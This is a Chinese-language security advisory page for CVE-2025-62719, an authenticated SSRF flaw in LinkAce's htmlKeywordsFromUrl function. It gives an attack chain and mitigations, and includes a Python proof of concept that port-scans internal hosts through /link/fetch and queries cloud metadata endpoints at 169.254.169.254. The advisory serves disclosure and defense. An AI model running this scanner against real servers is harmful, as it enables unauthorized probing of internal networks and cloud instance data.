IPBUF安全漏洞报告
English
CVE-2025-62719 CVSS 4.3 中危

CVE-2025-62719 LinkAce htmlKeywordsFromUrl函数SSRF漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-62719
漏洞类型
SSRF服务端请求伪造
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LinkAce

相关标签

SSRF服务端请求伪造LinkAceCVE-2025-62719内网探测认证用户2.3.0及以下版本

漏洞概述

CVE-2025-62719是LinkAce应用中的一个服务端请求伪造(SSRF)漏洞。LinkAce是一款自托管的网站链接存档工具。在2.3.0及以下版本中,FetchController类中的htmlKeywordsFromUrl函数存在严重的安全缺陷:该函数接受用户提供的URL并向其发送HTTP请求,但未验证目标地址是否为内部或私有网络资源。攻击者(低权限认证用户)可利用此漏洞使用应用服务器对内网进行端口扫描和服务发现,从而探测内网结构。由于该函数仅从HTML meta keywords标签提取内容,实际影响相对有限,无法从数据库、API或云元数据端点进行有意义的数据窃取。该漏洞已于2.4.0版本中修复。

技术细节

漏洞源于LinkAce的FetchController.php文件中htmlKeywordsFromUrl函数对用户输入URL缺乏有效验证。该函数直接使用file_get_contents或类似函数向用户提供的URL发起HTTP请求,未检查URL是否指向内网地址(如127.0.0.1、10.x.x.x、192.168.x.x等)或云元数据端点(如169.254.169.254)。攻击者通过在应用中添加一个指向内网IP的链接,即可让服务器代为发起请求,实现内网探测。攻击者可以遍历常见内网IP段和端口组合,根据响应状态判断内网服务存活状态。虽然受限于meta keywords提取逻辑,攻击者无法直接获取敏感数据,但结合云环境元数据端点探测,可能获取部分云实例信息。修复方案需在2.4.0版本中实现URL白名单验证或禁用对内网地址的请求。

攻击链分析

STEP 1
步骤1
攻击者获取LinkAce应用的有效账户(低权限即可)
STEP 2
步骤2
攻击者构造恶意请求,向/link/fetch端点提交指向内网IP的URL(如http://192.168.1.1:8080)
STEP 3
步骤3
服务器端htmlKeywordsFromUrl函数接收请求后,使用file_get_contents等函数向目标URL发起HTTP请求
STEP 4
步骤4
服务器作为代理,将请求转发至内网目标地址,攻击者通过响应时间/状态码判断内网服务状态
STEP 5
步骤5
攻击者遍历IP段和端口组合,完成内网拓扑探测

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-62719 PoC - LinkAce SSRF in htmlKeywordsFromUrl # Target: LinkAce <= 2.3.0 BASE_URL = "http://target-linkace.com" def ssrf_exploit(target_ip="127.0.0.1", target_port=80): """ Exploit SSRF vulnerability to perform internal network scanning. The attacker must be authenticated first. """ login_url = f"{BASE_URL}/login" exploit_url = f"{BASE_URL}/link/fetch" # Step 1: Authenticate with valid credentials session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password" } session.post(login_url, data=login_data) # Step 2: Send SSRF payload targeting internal network # This triggers htmlKeywordsFromUrl to fetch internal resource ssrf_payload = { "url": f"http://{target_ip}:{target_port}" } response = session.post(exploit_url, data=ssrf_payload) # Step 3: Analyze response to determine if service is alive if response.status_code == 200: print(f"[+] Service detected at {target_ip}:{target_port}") else: print(f"[-] No service at {target_ip}:{target_port}") def cloud_metadata_exploit(): """ Attempt to access cloud metadata endpoint (limited by meta keywords extraction). """ session = requests.Session() # Login first... metadata_urls = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/user-data/" ] for url in metadata_urls: payload = {"url": url} response = session.post(f"{BASE_URL}/link/fetch", data=payload) print(f"[*] Response from {url}: {response.text[:200]}") if __name__ == "__main__": # Example: Scan localhost ports for port in [22, 80, 443, 3306, 6379]: ssrf_exploit("127.0.0.1", port)

影响范围

LinkAce < 2.4.0
LinkAce <= 2.3.0

防御指南

临时缓解措施
如果无法立即升级,可通过Web服务器配置禁止应用服务器访问内网地址段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16),或临时禁用链接预览/URL获取功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表